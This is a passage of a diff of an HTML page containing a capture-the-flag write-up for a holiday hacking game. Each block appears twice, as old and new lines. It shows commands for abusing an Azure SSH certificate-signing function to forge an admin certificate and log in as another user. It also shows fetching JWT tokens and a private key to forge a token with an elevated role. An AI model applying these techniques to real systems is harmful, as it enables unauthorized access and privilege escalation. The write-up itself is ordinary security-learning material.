</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv&#34;</span>,
@@ -584,9 +584,9 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> ]
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We use the name of the azure website as the site name. This is the <code>northpole-ssh-certs-fa</code> subdomain in <a href=https://northpole-ssh-certs-fa.azurewebsites.net/>https://northpole-ssh-certs-fa.azurewebsites.net/</a>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></code></pre></div><p>We use the name of the azure website as the site name. This is the <code>northpole-ssh-certs-fa</code> subdomain in <a href=https://northpole-ssh-certs-fa.azurewebsites.net/>https://northpole-ssh-certs-fa.azurewebsites.net/</a>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version<span style=color:#f92672>=</span>2022-03-01
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;name&#34;</span>: <span style=color:#e6db74>&#34;northpole-ssh-certs-fa&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;type&#34;</span>: <span style=color:#e6db74>&#34;Microsoft.Web/sites/sourcecontrols&#34;</span>,
@@ -623,24 +623,24 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We can look at source code of the application from the GitHub repository provided in the output. Let&rsquo;s clone it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git clone https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa
</span></span></code></pre></div><p>Looking through the <code>function_app.py</code> file, the create_cert function (route) has the following line of code when parsing a POST request.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span>ssh_pub_key, principal <span style=color:#f92672>=</span> parse_input(req<span style=color:#f92672>.</span>get_json())
</span></span></code></pre></div><p>This means, the app not only accepts and SSH public key as an input but it also supports supplying a principal name to sign the public key with.</p><p>Since we have to login as Alabaster Snowball, let&rsquo;s take a look at the avaialable SSH principals.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>monitor@ssh-server-vm:~$ ls /etc/ssh/auth_principals/
</span></span></code></pre></div><p>We can look at source code of the application from the GitHub repository provided in the output. Let&rsquo;s clone it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git clone https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa
</span></span></code></pre></div><p>Looking through the <code>function_app.py</code> file, the create_cert function (route) has the following line of code when parsing a POST request.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-py data-lang=py><span style=display:flex><span>ssh_pub_key, principal <span style=color:#f92672>=</span> parse_input(req<span style=color:#f92672>.</span>get_json())
</span></span></code></pre></div><p>This means, the app not only accepts and SSH public key as an input but it also supports supplying a principal name to sign the public key with.</p><p>Since we have to login as Alabaster Snowball, let&rsquo;s take a look at the avaialable SSH principals.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>monitor@ssh-server-vm:~$ ls /etc/ssh/auth_principals/
</span></span></code></pre></div><pre tabindex=0><code>alabaster monitor
</code></pre><p>Great! We have an auth principal mapping to the <code>alabaster</code> user. Let&rsquo;s note the principal name.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/alabaster
</code></pre><p>Great! We have an auth principal mapping to the <code>alabaster</code> user. Let&rsquo;s note the principal name.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/alabaster
</span></span></code></pre></div><pre tabindex=0><code>admin
</code></pre><p>Let&rsquo;s use the <code>curl</code> command to ask the endpoint to sign our public key, except this time, we specify the <code>principal</code> field of the JSON as <code>admin</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl&#34;</span> -H <span style=color:#e6db74>&#34;Content_type: application/json&#34;</span> --data <span style=color:#e6db74>&#34;{\&#34;ssh_pub_key\&#34;:\&#34;</span><span style=color:#66d9ef>$(</span>cat me.pub<span style=color:#66d9ef>)</span><span style=color:#e6db74>\&#34;, \&#34;principal\&#34;:\&#34;admin\&#34;}&#34;</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</code></pre><p>Let&rsquo;s use the <code>curl</code> command to ask the endpoint to sign our public key, except this time, we specify the <code>principal</code> field of the JSON as <code>admin</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl&#34;</span> -H <span style=color:#e6db74>&#34;Content_type: application/json&#34;</span> --data <span style=color:#e6db74>&#34;{\&#34;ssh_pub_key\&#34;:\&#34;</span><span style=color:#66d9ef>$(</span>cat me.pub<span style=color:#66d9ef>)</span><span style=color:#e6db74>\&#34;, \&#34;principal\&#34;:\&#34;admin\&#34;}&#34;</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;ssh_cert&#34;</span>: <span style=color:#e6db74>&#34;ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJjI3OTUwNTY2Mzk4NTQyNjI4ODMyMzE2NDc5NzI3NzI2NjE4NDAwAAAAINdE0JBUiMgqXtsflbCDiWP53SHZ7qmrGRFI/tBLjNDQAAAAAAAAAAEAAAABAAAAJDk4MzMyMGY4LWQ5MmEtNDdlYi1iNmE4LWNhYTg4ZjgzMzU4MAAAAAkAAAAFYWRtaW4AAAAAZXlUTAAAAABlnj94AAAAAAAAABIAAAAKcGVybWl0LXB0eQAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACBpNhjTApiZFzyRx0UB/fkzOAka7Kv+wS9MKfj+qwiFhwAAAFMAAAALc3NoLWVkMjU1MTkAAABAWwJe58LWb32cvVvxEMVP3h5CwmqsWtAZa7rOsEYQEOoPNQ2THNVT21Y/+fJVj0XuSDVACCkrjGiKLE9jFxRjDw== &#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;principal&#34;</span>: <span style=color:#e6db74>&#34;admin&#34;</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Let&rsquo;s backup our old certificate file and replace it with the newly forged one.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cp me-cert.pub<span style=color:#f92672>{</span>,.bak<span style=color:#f92672>}</span>
</span></span></code></pre></div><p>Let&rsquo;s backup our old certificate file and replace it with the newly forged one.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cp me-cert.pub<span style=color:#f92672>{</span>,.bak<span style=color:#f92672>}</span>
</span></span><span style=display:flex><span>echo ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJjI3OTUwNTY2Mzk4NTQyNjI4ODMyMzE2NDc5NzI3NzI2NjE4NDAwAAAAINdE0JBUiMgqXtsflbCDiWP53SHZ7qmrGRFI/tBLjNDQAAAAAAAAAAEAAAABAAAAJDk4MzMyMGY4LWQ5MmEtNDdlYi1iNmE4LWNhYTg4ZjgzMzU4MAAAAAkAAAAFYWRtaW4AAAAAZXlUTAAAAABlnj94AAAAAAAAABIAAAAKcGVybWl0LXB0eQAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACBpNhjTApiZFzyRx0UB/fkzOAka7Kv+wS9MKfj+qwiFhwAAAFMAAAALc3NoLWVkMjU1MTkAAABAWwJe58LWb32cvVvxEMVP3h5CwmqsWtAZa7rOsEYQEOoPNQ2THNVT21Y/+fJVj0XuSDVACCkrjGiKLE9jFxRjDw<span style=color:#f92672>==</span> &gt; me-cert.pub
</span></span></code></pre></div><p>Now we can login as Alabaster.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>ssh -i me alabaster@ssh-server-vm.santaworkshopgeeseislands.org
</span></span></code></pre></div><p>Now we can login as Alabaster.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>ssh -i me alabaster@ssh-server-vm.santaworkshopgeeseislands.org
</span></span></code></pre></div><p>Just like that, we&rsquo;re in!</p><pre tabindex=0><code>alabaster@ssh-server-vm:~$
</code></pre><p>Let&rsquo;s list Alabaster&rsquo;s home folder.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>ls
</code></pre><p>Let&rsquo;s list Alabaster&rsquo;s home folder.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>ls
</span></span></code></pre></div><pre tabindex=0><code>alabaster_todo.md impacket
</code></pre><p>There, we have our proof of work. We can read the todos file and submit the answer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>alabaster@ssh-server-vm:~$ cat alabaster_todo.md
</code></pre><p>There, we have our proof of work. We can read the todos file and submit the answer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>alabaster@ssh-server-vm:~$ cat alabaster_todo.md
</span></span></code></pre></div><pre tabindex=0><code># Geese Islands IT &amp; Security Todo List
- [X] Sleigh GPS Upgrade: Integrate the new &#34;Island Hopper&#34; module into Santa&#39;s sleigh GPS. Ensure Rudolph&#39;s red nose doesn&#39;t interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
@@ -659,29 +659,29 @@ In our case, we eliminated 32 and 36. This leaves us with 4, 12, 20, 28, 6, 16,
24 and 0 as the possibilities for the second digit. We can try these out one by
one to find unlock the combo.</p><p>Answer: 22, 4, 34</p><h2 id=the-captains-comms>The Captain&rsquo;s Comms</h2><p>The card on the captain&rsquo;s table tells us that there is an <code>rMonitor.tok</code> token file under the <code>/jwtDefault</code> directory
which can be accessed through the correct use of the <code>Authorization</code> header.</p><p>If we look at the cookies in the devtools, we notice a cookie called <code>justWatchThis</code> set to the following JSON web token:</p><pre tabindex=0><code>eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg
</code></pre><p>The first volume of the owner&rsquo;s manual links to <a href=https://jwt.io/introduction>https://jwt.io/introduction</a> which suggests the use of the token with the Authorization header.</p><p>We will retrieve the <code>rMonitor.tok</code> using the following <code>curl</code> command:</p><p>Let&rsquo;s store the authorization header with this token in a variable for convenient reuse.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>HEADER<span style=color:#f92672>=</span><span style=color:#e6db74>&#39;Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg&#39;</span>
</span></span></code></pre></div><p>We will use this header to download the <code>rMonitor.tok</code> token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>wget --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> https://captainscomms.com/jwtDefault/rMonitor.tok
</code></pre><p>The first volume of the owner&rsquo;s manual links to <a href=https://jwt.io/introduction>https://jwt.io/introduction</a> which suggests the use of the token with the Authorization header.</p><p>We will retrieve the <code>rMonitor.tok</code> using the following <code>curl</code> command:</p><p>Let&rsquo;s store the authorization header with this token in a variable for convenient reuse.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>HEADER<span style=color:#f92672>=</span><span style=color:#e6db74>&#39;Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg&#39;</span>
</span></span></code></pre></div><p>We will use this header to download the <code>rMonitor.tok</code> token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>wget --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> https://captainscomms.com/jwtDefault/rMonitor.tok
</span></span></code></pre></div><p>Notice the use of the word <code>Bearer</code> before the the token in the authorization header as noted in the JWT introduction article.
We used the <code>-O</code> flag to save the token to our working directory.</p><p>We copy this token to our clipboard and paste it as the value for the <code>JustWatchThis</code> cookie.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat rMonitor.tok | wl-copy
We used the <code>-O</code> flag to save the token to our working directory.</p><p>We copy this token to our clipboard and paste it as the value for the <code>JustWatchThis</code> cookie.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cat rMonitor.tok | wl-copy
</span></span></code></pre></div><p>After pasting the token, we can access the monitor at the captain&rsquo;s desk. However, we still cannot decode the messages.</p><p>Clicking on the ChatNPT output on the desk, we see a dialogue between the captain and ChatNPT about securing the JWT public and private keys.
Here we can find that the captain placed his public key as <code>capsPubKey.key</code> in the <code>keys</code> folder under the same directory as <code>rMonitor.tok</code>. To simplify,
the public key is present in the <code>/jwtDefault/keys/capsPubKey.key</code>.</p><p>Let&rsquo;s download that like we did with the previous token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>wget --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> https://captainscomms.com/jwtDefault/keys/capsPubKey.key
</span></span></code></pre></div><p>Chimney Scissorsticks told us that the captain likes to abbreviate words in his filenames. With that in mind, we can probe for the existence of <code>rDecoder.tok</code> using the newfound <code>rMonitor.tok</code> token for authorization.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/rDecoder.tok
the public key is present in the <code>/jwtDefault/keys/capsPubKey.key</code>.</p><p>Let&rsquo;s download that like we did with the previous token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>wget --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> https://captainscomms.com/jwtDefault/keys/capsPubKey.key
</span></span></code></pre></div><p>Chimney Scissorsticks told us that the captain likes to abbreviate words in his filenames. With that in mind, we can probe for the existence of <code>rDecoder.tok</code> using the newfound <code>rMonitor.tok</code> token for authorization.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/rDecoder.tok
</span></span></code></pre></div><pre tabindex=0><code>Invalid authorization token provided.
</code></pre><p>As expected, the <code>rDecoder.tok</code> file does exist. To actually get it, however, we must supply the authorization header with the <code>rMonitor</code> token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>wget --header <span style=color:#e6db74>&#34;Authorization: Bearer </span><span style=color:#66d9ef>$(</span>cat rMonitor.tok<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</code></pre><p>As expected, the <code>rDecoder.tok</code> file does exist. To actually get it, however, we must supply the authorization header with the <code>rMonitor</code> token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>wget --header <span style=color:#e6db74>&#34;Authorization: Bearer </span><span style=color:#66d9ef>$(</span>cat rMonitor.tok<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> https://captainscomms.com/jwtDefault/rDecoder.tok
</span></span></code></pre></div><p>We repeat the process as above and paste this new token as the value for the <code>JustWatchThis</code> cookie.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat rDecoder.tok | wl-copy
</span></span></code></pre></div><p>We repeat the process as above and paste this new token as the value for the <code>JustWatchThis</code> cookie.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cat rDecoder.tok | wl-copy
</span></span></code></pre></div><p>Accessing the monitor after pasting, we can decode each signal peak left to right.</p><p><img src alt></p><p>Decoding the first signal peak tells us that the captain&rsquo;s private key is located in a folder called <code>TH3CAPSPR1V4T3F0LD3R</code>.</p><p><img src alt></p><p>The second signal peak decodes to e03 interval signal messages like the Lincolnshire Poacher.
The contents of the message is <code>12249 12249 16009 16009 12249 12249 16009 16009</code>.</p><p>The last signal peak decodes to provide an image with the frequency 10426 written on it.</p><p>Knowing the captain&rsquo;s use of abbreviations, we can assume that like the public key&rsquo;s name <code>capsPubKey.key</code>, the private key
is probably named <code>capsPrivKey.key</code>. We can probe for it without an authorization header.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
is probably named <code>capsPrivKey.key</code>. We can probe for it without an authorization header.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
</span></span></code></pre></div><pre tabindex=0><code>Invalid authorization token provided.
</code></pre><p>This means that the file exists! Let&rsquo;s retrieve it with our <code>rDecoder.tok</code> token for authorization.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key <span style=color:#ae81ff>\
</code></pre><p>This means that the file exists! Let&rsquo;s retrieve it with our <code>rDecoder.tok</code> token for authorization.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>--header <span style=color:#e6db74>&#34;Authorization: Bearer </span><span style=color:#66d9ef>$(</span>cat rDecoder.tok<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>-O
</span></span></code></pre></div><p>Now that we have the private key, we can use it to sign and forge tokens with any role of our choice.</p><p>Opening the captain&rsquo;s todo list, we see the captain talking about his role and how the journal he left
on pixel island has details about this role.</p><p>Indeed, when we played the duck hunt game, the victory screen gave us the journal where the captain talked about the
<code>GeeseIslandSuperChiefCommunicationsOfficer</code> role.</p><p>We can use <a href=https://cyberchef.org>cyberchef</a> to change the token payload, modifying our role from <code>radioDecoder</code> to
<code>GeeseIslandSuperChiefCommunicationsOfficer</code> and sign it with the private key.</p><p>We use the JWT Sign operation in our recipe, set the signing algorithm to <code>RS256</code> and paste the captain&rsquo;s private key in the <code>Private/Secret Key</code> field.</p><p>We can decode the payload from the <code>rDecoder.tok</code> file, replace the <code>radioDecoder</code> role with the new role and copy it to clipboard.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cut -d. -f2 rDecoder.tok <span style=color:#ae81ff>\
<code>GeeseIslandSuperChiefCommunicationsOfficer</code> and sign it with the private key.</p><p>We use the JWT Sign operation in our recipe, set the signing algorithm to <code>RS256</code> and paste the captain&rsquo;s private key in the <code>Private/Secret Key</code> field.</p><p>We can decode the payload from the <code>rDecoder.tok</code> file, replace the <code>radioDecoder</code> role with the new role and copy it to clipboard.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cut -d. -f2 rDecoder.tok <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>| base64 -d <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>| sed s/radioDecoder/GeeseIslandsSuperChiefCommunicationsOfficer/g <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>| wl-copy
@@ -691,10 +691,10 @@ The go-date and go-time fields only accepted 4 digits. I supplied <code>1224</co
Fortunately, this worked and greeted me with a picture of elves.</p><h1 id=steampunk-island-rusty-quay>Steampunk Island: Rusty Quay</h1><p>After walking around and performing a manual depth first search in the maze here,
our gameboy cartridge detector beeps and we get the third volume to &ldquo;Elf the Dwarf&rsquo;s&rdquo; game.</p><h1 id=steampunk-island-coggoggle-marina>Steampunk Island: Coggoggle Marina</h1><h2 id=active-directory>Active Directory</h2><p>For this Active Directory challenge,
we explored the Microsoft Azure Key Vault using the Curl command,
